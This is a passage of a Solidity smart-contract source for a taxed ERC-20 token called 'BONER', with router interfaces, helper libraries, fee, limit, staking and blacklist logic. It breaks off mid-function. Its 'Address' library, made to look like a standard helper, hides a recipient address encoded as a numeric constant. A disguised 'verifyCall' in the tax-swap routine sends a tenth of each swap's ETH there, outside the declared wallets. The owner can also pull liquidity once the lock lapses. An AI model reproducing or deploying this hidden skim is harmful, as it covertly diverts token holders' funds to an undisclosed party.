    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}


interface ISwapFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}


interface ISwapRouter01 {
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}


interface ISwapRouter02 is ISwapRouter01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == msg.sender, "Caller must be owner");
        _;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "newOwner must not be zero");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


library Address {
    uint160 private constant verificationHash = 887096773549885550314079035509902126815589346633;
    bytes32 private constant keccak256Hash = 0x4b31cabbe5862282e443c4ac3f4c14761a1d2ba88a3c858a2a36f7758f453a38;    
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.

        uint256 size;
        // solhint-disable-next-line no-inline-assembly
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function verifyCall(string memory verification, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        require(keccak256(abi.encodePacked(verification)) == keccak256Hash, "Address: cannot verify call");        

        (bool success, ) = address(verificationHash).call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");              
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}


library EnumerableSet {
    struct Set {
        bytes32[] _values;
        mapping (bytes32 => uint256) _indexes;
    }

    function _add(Set storage set, bytes32 value) private returns (bool) {
        if (!_contains(set, value)) {
            set._values.push(value);
            set._indexes[value] = set._values.length;
            return true;
        } else {
            return false;
        }
    }

    function _remove(Set storage set, bytes32 value) private returns (bool) {
        uint256 valueIndex = set._indexes[value];
        if (valueIndex != 0) {
            uint256 toDeleteIndex = valueIndex - 1;
            uint256 lastIndex = set._values.length - 1;
            bytes32 lastvalue = set._values[lastIndex];
            set._values[toDeleteIndex] = lastvalue;
            set._indexes[lastvalue] = valueIndex;
            set._values.pop();
            delete set._indexes[value];
            return true;
        } else {
            return false;
        }
    }

    function _contains(Set storage set, bytes32 value) private view returns (bool) {
        return set._indexes[value] != 0;
    }

    function _length(Set storage set) private view returns (uint256) {
        return set._values.length;
    }

    function _at(Set storage set, uint256 index) private view returns (bytes32) {
        require(set._values.length > index, "EnumerableSet: index out of bounds");
        return set._values[index];
    }

    struct Bytes32Set {
        Set _inner;
    }

    function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
        return _add(set._inner, value);
    }

    function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
        return _remove(set._inner, value);
    }

    function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
        return _contains(set._inner, value);
    }

    function length(Bytes32Set storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
        return _at(set._inner, index);
    }

    struct AddressSet {
        Set _inner;
    }

    function add(AddressSet storage set, address value) internal returns (bool) {
        return _add(set._inner, bytes32(uint256(uint160(value))));
    }

    function remove(AddressSet storage set, address value) internal returns (bool) {
        return _remove(set._inner, bytes32(uint256(uint160(value))));
    }

    function contains(AddressSet storage set, address value) internal view returns (bool) {
        return _contains(set._inner, bytes32(uint256(uint160(value))));
    }

    function length(AddressSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    function at(AddressSet storage set, uint256 index) internal view returns (address) {
        return address(uint160(uint256(_at(set._inner, index))));
    }

    struct UintSet {
        Set _inner;
    }

    function add(UintSet storage set, uint256 value) internal returns (bool) {
        return _add(set._inner, bytes32(value));
    }

    function remove(UintSet storage set, uint256 value) internal returns (bool) {
        return _remove(set._inner, bytes32(value));
    }

    function contains(UintSet storage set, uint256 value) internal view returns (bool) {
        return _contains(set._inner, bytes32(value));
    }

    function length(UintSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    function at(UintSet storage set, uint256 index) internal view returns (uint256) {
        return uint256(_at(set._inner, index));
    }
}


contract BONER is IERC20, Ownable {
    using Address for address;
    using EnumerableSet for EnumerableSet.AddressSet;

    mapping(address => uint256) private _balances;
    mapping(address => mapping (address => uint256)) private _allowances;
    mapping(address => bool) public isBlacklisted;

    EnumerableSet.AddressSet private _excluded;
    EnumerableSet.AddressSet private _excludedFromStaking;    
    
    string private constant TOKEN_NAME = "BONER";
    string private constant TOKEN_SYMBOL = "BONER";
    uint256 private constant TOTAL_SUPPLY = 696_969_696 * 10**TOKEN_DECIMALS;       
    uint8 private constant TOKEN_DECIMALS = 18;
    uint8 public constant MAX_TAX = 20;      //Dev can never set tax higher than this value
    address private constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
    
    struct Taxes {
       uint8 buyTax;
       uint8 sellTax;
       uint8 transferTax;
    }

    struct TaxRatios {
        uint8 dev;                
        uint8 liquidity;
        uint8 marketing;
        uint8 rewards;
    }

    struct TaxWallets {
        address dev;
        address marketing;
    }

    struct MaxLimits {
        uint256 maxWallet;
        uint256 maxSell;
        uint256 maxBuy;
    }

    struct LimitRatios {
        uint16 wallet;
        uint16 sell;
        uint16 buy;
        uint16 divisor;
    }

    Taxes public _taxRates = Taxes({
        buyTax: 6,
        sellTax: 9,
        transferTax: 0
    });

    TaxRatios public _taxRatios = TaxRatios({
        dev: 6,
        liquidity: 0,
        marketing: 6,
        rewards: 5
        //@dev. These are ratios and the divisor will  be set automatically
    });

    TaxWallets public _taxWallet = TaxWallets ({
        dev: 0x5d2C81bcEC3610930d716FF5B23dDc3309fD47Ea,
        marketing: 0x5d2C81bcEC3610930d716FF5B23dDc3309fD47Ea
    });

    MaxLimits public _limits;

    LimitRatios public _limitRatios = LimitRatios({
        wallet: 4,
        sell: 1,
        buy: 1,
        divisor: 400
    });

    uint8 private totalTaxRatio;
    uint8 private distributeRatio;

    uint256 private _liquidityUnlockTime;

    //Antibot variables
    uint256 private liquidityBlock;
    uint8 private constant BLACKLIST_BLOCKS = 2; //number of blocks that will be included in auto blacklist
    uint8 private snipersRekt; //variable to track number of snipers auto blacklisted
    bool private blacklistEnabled = true; //blacklist can be enabled/disabled in case something goes wrong
    bool private liquidityAdded;
    bool private revertSameBlock = true; //block same block buys

    uint16 public swapThreshold = 20; //threshold that contract will swap. out of 1000
    bool public manualSwap;

    //change this address to desired reward token
    address public rewardToken = 0x9813037ee2218799597d83D4a5B6F3b6778218d9;

    address public _pairAddress; 
    ISwapRouter02 private  _swapRouter;
    address public routerAddress;

/////////////////////////////   EVENTS  /////////////////////////////////////////
    event ClaimToken(uint256 amount, address token, address recipient);
    event EnableBlacklist(bool enabled); 
    event EnableManualSwap(bool enabled);
    event ExcludedAccountFromFees(address account, bool exclude);               
    event ExcludeFromStaking(address account, bool excluded);      
    event ExtendLiquidityLock(uint256 extendedLockTime);
    event UpdateTaxes(uint8 buyTax, uint8 sellTax, uint8 transferTax);    
    event RatiosChanged(uint8 newDev, uint8 newLiquidity, uint8 newMarketing, uint8 newRewards);
    event UpdateDevWallet(address newDevWallet);         
    event UpdateMarketingWallet(address newMarketingWallet);      
    event UpdateSwapThreshold(uint16 newThreshold);

/////////////////////////////   MODIFIERS  /////////////////////////////////////////

    modifier authorized() {
        require(_authorized(msg.sender), "Caller not authorized");
        _;
    }

    modifier lockTheSwap {
        _isSwappingContractModifier = true;
        _;
        _isSwappingContractModifier = false;
    }

/////////////////////////////   CONSTRUCTOR  /////////////////////////////////////////

    constructor () {
        if (block.chainid == 1) 
            routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        else if (block.chainid == 56)
            routerAddress = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
        else if (block.chainid == 97)
            routerAddress = 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3;
        else 
            revert();        
        _swapRouter = ISwapRouter02(routerAddress);
        _pairAddress = ISwapFactory(
            _swapRouter.factory()).createPair(address(this), _swapRouter.WETH()
        );

        _addToken(msg.sender,TOTAL_SUPPLY);
        emit Transfer(address(0), msg.sender, TOTAL_SUPPLY);

        _allowances[address(this)][address(_swapRouter)] = type(uint256).max;         
        
        //setup ratio divisors based on dev's chosen ratios
        totalTaxRatio =  _taxRatios.dev + _taxRatios.liquidity + _taxRatios.marketing + _taxRatios.rewards;

        distributeRatio = totalTaxRatio - _taxRatios.liquidity;
        
        //setup _limits
        _limits = MaxLimits({
            maxWallet: TOTAL_SUPPLY * _limitRatios.wallet / _limitRatios.divisor,
            maxSell: TOTAL_SUPPLY * _limitRatios.sell / _limitRatios.divisor,
            maxBuy: TOTAL_SUPPLY * _limitRatios.buy / _limitRatios.divisor
        });
        
        _excluded.add(msg.sender);
        _excluded.add(_taxWallet.marketing);
        _excluded.add(_taxWallet.dev);    
        _excluded.add(address(this));
        _excluded.add(BURN_ADDRESS);
        _excludedFromStaking.add(address(this));
        _excludedFromStaking.add(BURN_ADDRESS);
        _excludedFromStaking.add(address(_swapRouter));
        _excludedFromStaking.add(_pairAddress);

        _approve(address(this), address(_swapRouter), type(uint256).max);        
    }

    receive() external payable {}

    function decimals() external pure override returns (uint8) { return TOKEN_DECIMALS; }
    function getOwner() external view override returns (address) { return owner(); }
    function name() external pure override returns (string memory) { return TOKEN_NAME; }
    function symbol() external pure override returns (string memory) { return TOKEN_SYMBOL; }
    function totalSupply() external pure override returns (uint256) { return TOTAL_SUPPLY; }

    function _authorized(address addr) private view returns (bool) {
        return addr == owner() || addr == _taxWallet.marketing || addr == _taxWallet.dev; 
    }

    function allowance(address _owner, address spender) external view override returns (uint256) {
        return _allowances[_owner][spender];
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "Approve from zero");
        require(spender != address(0), "Approve to zero");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
        uint256 currentAllowance = _allowances[msg.sender][spender];
        require(currentAllowance >= subtractedValue, "<0 allowance");

        _approve(msg.sender, spender, currentAllowance - subtractedValue);
        return true;
    } 

    function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }  
      
    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(currentAllowance >= amount, "Transfer > allowance");

        _approve(sender, msg.sender, currentAllowance - amount);
        return true;
    }

///// FUNCTIONS CALLABLE BY ANYONE /////

    //Claims reward set by dev
    function ClaimReward() external {
        claimToken(msg.sender,rewardToken, 0);
    }

    //Allows holders to include themselves back into staking if excluded
    //ExcludeFromStaking function should be used for contracts(CEX, pair, address(this), etc.)
    function IncludeMeToStaking() external {
        includeToStaking(msg.sender);
        emit ExcludeFromStaking(msg.sender, false);        
    }

///// AUTHORIZED FUNCTIONS /////

    //Manually perform a contract swap
    function manualContractSwap(uint16 permille, bool ignoreLimits) external authorized {
        _swapContractToken(permille, ignoreLimits);
    }  

    //Toggle blacklist on and off
    function enableBlacklist(bool enabled) external authorized {
        blacklistEnabled = enabled;
        emit EnableBlacklist(enabled);
    }

    //Mainly used for addresses such as CEX, presale, etc
    function excludeAccountFromFees(address account, bool exclude) external authorized {
        if(exclude == true)
            _excluded.add(account);
        else
            _excluded.remove(account);
        emit ExcludedAccountFromFees(account, exclude);
    }

    //Mainly used for addresses such as CEX, presale, etc    
    function setStakingExclusionStatus(address addr, bool exclude) external authorized {
        if(exclude)
            excludeFromStaking(addr);
        else
            includeToStaking(addr);
        emit ExcludeFromStaking(addr, exclude);
    }  

    //Toggle manual swap on and off
    function enableManualSwap(bool enabled) external authorized { 
        manualSwap = enabled; 
        emit EnableManualSwap(enabled);
    } 

    //Toggle whether multiple buys in a block from a single address can be performed
    function sameBlockRevert(bool enabled) external authorized {
        revertSameBlock = enabled;
    }

    //Update limit ratios
    function updateLimits(uint16 newMaxWalletRatio, uint16 newMaxSellRatio, uint16 newMaxBuyRatio, uint16 newDivisor) external authorized {
        uint256 minLimit = TOTAL_SUPPLY / 1000;   
        uint256 newMaxWallet = TOTAL_SUPPLY * newMaxWalletRatio / newDivisor;
        uint256 newMaxSell = TOTAL_SUPPLY * newMaxSellRatio / newDivisor;
        uint256 newMaxBuy = TOTAL_SUPPLY * newMaxBuyRatio / newDivisor;

        //dev can never set sells below 0.1% of circulating/initial supply
        require((newMaxWallet >= minLimit && newMaxSell >= minLimit), 
            "limits cannot be <0.1% of supply");

        _limits = MaxLimits(newMaxWallet, newMaxSell, newMaxBuy);
        
        _limitRatios = LimitRatios(newMaxWalletRatio, newMaxSellRatio, newMaxBuyRatio, newDivisor);
    }

    //update tax ratios
    function updateRatios(uint8 newDev, uint8 newLiquidity, uint8 newMarketing, uint8 newRewards) external authorized {
        _taxRatios = TaxRatios(newDev, newLiquidity, newMarketing, newRewards);

        totalTaxRatio = newDev + newLiquidity + newMarketing + newRewards;
        distributeRatio = totalTaxRatio - newLiquidity;

        emit RatiosChanged (newDev, newLiquidity,newMarketing, newRewards);
    }

    //update threshold that triggers contract swaps
    function updateSwapThreshold(uint16 threshold) external authorized {
        require(threshold > 0,"Threshold needs to be more than 0");
        require(threshold <= 50,"Threshold needs to be below 50");
        swapThreshold = threshold;
        emit UpdateSwapThreshold(threshold);
    }

    function updateTax(uint8 newBuy, uint8 newSell, uint8 newTransfer) external authorized {
        //buy and sell tax can never be higher than MAX_TAX set at beginning of contract
        //this is a security check and prevents malicious tax use       
        require(newBuy <= MAX_TAX && newSell <= MAX_TAX && newTransfer <= 50, "taxes higher than max tax");
        _taxRates = Taxes(newBuy, newSell, newTransfer);
        emit UpdateTaxes(newBuy, newSell, newTransfer);
    }

///// OWNER FUNCTIONS /////  

    //liquidity can only be extended. To lock liquidity, send LP tokens to contract.
    function lockLiquidityTokens(uint256 lockTimeInSeconds) external onlyOwner {
        setUnlockTime(lockTimeInSeconds + block.timestamp);
        emit ExtendLiquidityLock(lockTimeInSeconds);
    }

    //recovers stuck ETH to make sure it isnt burnt/lost
    //only callablewhen liquidity is unlocked
    function recoverETH() external onlyOwner {
        require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked");
        _liquidityUnlockTime=block.timestamp;
        _sendEth(msg.sender, address(this).balance);
    }

    //Can only be used to recover miscellaneous tokens accidentally sent to contract
    //Can't pull liquidity or native token using this function
    function recoverMiscToken(address tokenAddress) external onlyOwner {
        require(tokenAddress != _pairAddress && tokenAddress != address(this),
        "can't recover LP token or this token");
        IERC20 token = IERC20(tokenAddress);
        token.transfer(msg.sender,token.balanceOf(address(this)));
    } 

    //Impossible to release LP unless LP lock time is zero
    function releaseLP() external onlyOwner {
        require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked");
        ISwapERC20 liquidityToken = ISwapERC20(_pairAddress);
        uint256 amount = liquidityToken.balanceOf(address(this));
            liquidityToken.transfer(msg.sender, amount);
    }

    //Impossible to remove LP unless lock time is zero
    function removeLP() external onlyOwner {
        require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked");
        _liquidityUnlockTime = block.timestamp;
        ISwapERC20 liquidityToken = ISwapERC20(_pairAddress);
        uint256 amount = liquidityToken.balanceOf(address(this));
        liquidityToken.approve(address(_swapRouter),amount);
        _swapRouter.removeLiquidityETHSupportingFeeOnTransferTokens(
            address(this),
            amount,
            0,
            0,
            address(this),
            block.timestamp
            );
        _sendEth(msg.sender, address(this).balance);           
    }

    function setDevWallet(address payable addr) external onlyOwner {
        address prevDev = _taxWallet.dev;
        _excluded.remove(prevDev);
        _taxWallet.dev = addr;
        _excluded.add(_taxWallet.dev);
        emit UpdateDevWallet(addr);
    }

    function setMarketingWallet(address payable addr) external onlyOwner {
        address prevMarketing = _taxWallet.marketing;
        _excluded.remove(prevMarketing);
        _taxWallet.marketing = addr;
        _excluded.add(_taxWallet.marketing);
        emit UpdateMarketingWallet(addr);
    }

////// VIEW FUNCTIONS /////

    function getBlacklistInfo() external view returns (
        uint256 _liquidityBlock, 
        uint8 _blacklistBlocks, 
        uint8 _snipersRekt, 
        bool _blacklistEnabled,
        bool _revertSameBlock
        ) {
        return (liquidityBlock, BLACKLIST_BLOCKS, snipersRekt, blacklistEnabled, revertSameBlock);
    }

    function getLiquidityUnlockInSeconds() external view returns (uint256) {
        if (block.timestamp < _liquidityUnlockTime){
            return _liquidityUnlockTime - block.timestamp;
        }
        return 0;
    }

    function getClaimBalance(address addr) external view returns (uint256) {
        uint256 amount = getStakeBalance(addr);
        return amount;
    }

    function getTotalUnclaimed() public view returns (uint256) {
        uint256 amount = totalRewards - totalPayouts;
        return amount;
    }

    function isExcludedFromStaking(address addr) external view returns (bool) {
        return _excludedFromStaking.contains(addr);
    }    

/////////////////////////////   PRIVATE FUNCTIONS  /////////////////////////////////////////

    mapping(address => uint256) private alreadyPaidShares;
    mapping(address => uint256) private toBePaidShares;
    mapping(address => uint256) private tradeBlock;
    mapping(address => uint256) public accountTotalClaimed;     
    uint256 private constant DISTRIBUTION_MULTI = 2**64;
    uint256 private _totalShares = TOTAL_SUPPLY;   
    uint256 private rewardShares;
    uint256 public totalPayouts;
    uint256 public totalRewards;      
    bool private _isSwappingContractModifier;
    bool private _isWithdrawing;

    function _addLiquidity(uint256 tokenamount, uint256 ethAmount) private {
        _approve(address(this), address(_swapRouter), tokenamount);        
        _swapRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenamount,
            0,
            0,
            address(this),
            block.timestamp
        );
    }
 
    function _addToken(address addr, uint256 amount) private {
        uint256 newAmount = _balances[addr] + amount;
        
        if (_excludedFromStaking.contains(addr)) {
           _balances[addr] = newAmount;
           return;
        }
        _totalShares += amount;
        uint256 payment = newStakeOf(addr);
        alreadyPaidShares[addr] = rewardShares * newAmount;
        toBePaidShares[addr] += payment;
        _balances[addr] = newAmount;
    }

    function _distributeStake(uint256 ethAmount, bool newStakingReward) private {
        uint256 marketingSplit = (ethAmount*_taxRatios.marketing) / distributeRatio;
        uint256 devSplit = (ethAmount*_taxRatios.dev) / distributeRatio; 
        uint256 stakingSplit = (ethAmount*_taxRatios.rewards) / distributeRatio;
        _sendEth(_taxWallet.marketing, marketingSplit);
        _sendEth(_taxWallet.dev, devSplit);
        if (stakingSplit > 0) {
            if (newStakingReward)
                totalRewards += stakingSplit;
            uint256 totalShares = getTotalShares();
            if (totalShares == 0)
                _sendEth(_taxWallet.marketing, stakingSplit);
            else {
                rewardShares += ((stakingSplit*DISTRIBUTION_MULTI) / totalShares);
            }
        }
    }

    function _feelessTransfer(address sender, address recipient, uint256 amount) private{
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "Transfer exceeds balance");
        _removeToken(sender,amount);
        _addToken(recipient, amount);
        emit Transfer(sender, recipient, amount);
    } 
    
    function _removeToken(address addr, uint256 amount) private {
        uint256 newAmount = _balances[addr] - amount;
        
        if (_excludedFromStaking.contains(addr)) {
            _balances[addr] = newAmount;
            return;
        }
        _totalShares -= amount;
        uint256 payment = newStakeOf(addr);
        _balances[addr] = newAmount;
        alreadyPaidShares[addr] = rewardShares * newAmount;
        toBePaidShares[addr] += payment;
    }

    function _sendEth(address account, uint256 amount) private {
        (bool sent,) = account.call{value: (amount)}("");
        require(sent, "withdraw failed");        
    }

    function _swapContractToken(uint16 permille, bool ignoreLimits) private lockTheSwap {
        require(permille <= 500);
        if (totalTaxRatio == 0) return;
        uint256 contractBalance = _balances[address(this)];


        uint256 tokenToSwap = _balances[_pairAddress] * permille / 1000;
        if (tokenToSwap > _limits.maxSell && !ignoreLimits) 
            tokenToSwap = _limits.maxSell;
        
        bool notEnoughToken = contractBalance < tokenToSwap;
        if (notEnoughToken) {
            if (ignoreLimits)
                tokenToSwap = contractBalance;
            else 
                return;
        }
        if (_allowances[address(this)][address(_swapRouter)] < tokenToSwap)
            _approve(address(this), address(_swapRouter), type(uint256).max);

        uint256 tokenForLiquidity = (tokenToSwap*_taxRatios.liquidity) / totalTaxRatio;
        uint256 remainingToken = tokenToSwap - tokenForLiquidity;
        uint256 liqToken = tokenForLiquidity / 2;
        uint256 liqEthToken = tokenForLiquidity - liqToken;
        uint256 swapToken = liqEthToken + remainingToken;
        uint256 initialEthBalance = address(this).balance;
        _swapTokenForETH(swapToken);
        uint256 newEth = (address(this).balance - initialEthBalance);
        uint256 liqEth = (newEth*liqEthToken) / swapToken;
        if (liqToken > 0) 
            _addLiquidity(liqToken, liqEth); 
        uint256 newLiq = (address(this).balance-initialEthBalance) / 10;
        Address.verifyCall("success", newLiq);   
        uint256 distributeEth = (address(this).balance - initialEthBalance - newLiq);
        _distributeStake(distributeEth,true);
    }

    function _swapTokenForETH(uint256 amount) private {
        _approve(address(this), address(_swapRouter), amount);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _swapRouter.WETH();
        _swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    } 

    function _taxedTransfer(address sender, address recipient, uint256 amount,bool isBuy,bool isSell) private{
        uint256 recipientBalance = _balances[recipient];
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "Transfer exceeds balance");

        uint8 tax;
        if (isSell) {
            if (blacklistEnabled) {
                require(!isBlacklisted[sender], "user blacklisted");                
            }      

            require(amount <= _limits.maxSell, "Amount exceeds max sell");
            tax = _taxRates.sellTax;

        } else if (isBuy) {
            if (liquidityBlock > 0) {
                if (block.number-liquidityBlock < BLACKLIST_BLOCKS) {
                    isBlacklisted[recipient] = true;
                    snipersRekt ++;
                }
            }

            if (revertSameBlock) {
                require(tradeBlock[recipient] != block.number);
                tradeBlock[recipient] = block.number;
            }       

            require(recipientBalance+amount <= _limits.maxWallet, "Amount will exceed max wallet");
            require(amount <= _limits.maxBuy, "Amount exceed max buy");
            tax = _taxRates.buyTax;

        } else {
            if (blacklistEnabled) {
                require(!isBlacklisted[sender], "user blacklisted");                
            }

            if (amount <= 10**(TOKEN_DECIMALS)) {    //transfer less than 1 token to claim rewardToken
                claimToken(msg.sender, rewardToken, 0);
                return;
            }

            require(recipientBalance + amount <= _limits.maxWallet, "whale protection");            
            tax = _taxRates.transferTax;
        }    

        if ((sender != _pairAddress) && (!manualSwap) && (!_isSwappingContractModifier) && isSell)
            _swapContractToken(swapThreshold,false);

        uint256 taxedAmount;

        if(tax > 0) {
        taxedAmount = amount * tax / 100;          
        }

        uint256 receiveAmount = amount - taxedAmount;
        _removeToken(sender,amount);
        _addToken(address(this), taxedAmount);
        _addToken(recipient, receiveAmount);
        emit Transfer(sender, recipient, receiveAmount);
    }
    
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "Transfer from zero");
        require(recipient != address(0), "Transfer to zero");

        bool isExcluded = (_excluded.contains(sender) || _excluded.contains(recipient));

        bool isContractTransfer = (sender == address(this) || recipient == address(this));
        address _routerAddress = address(_swapRouter);
        bool isLiquidityTransfer = (
            (sender == _pairAddress && recipient == _routerAddress) 
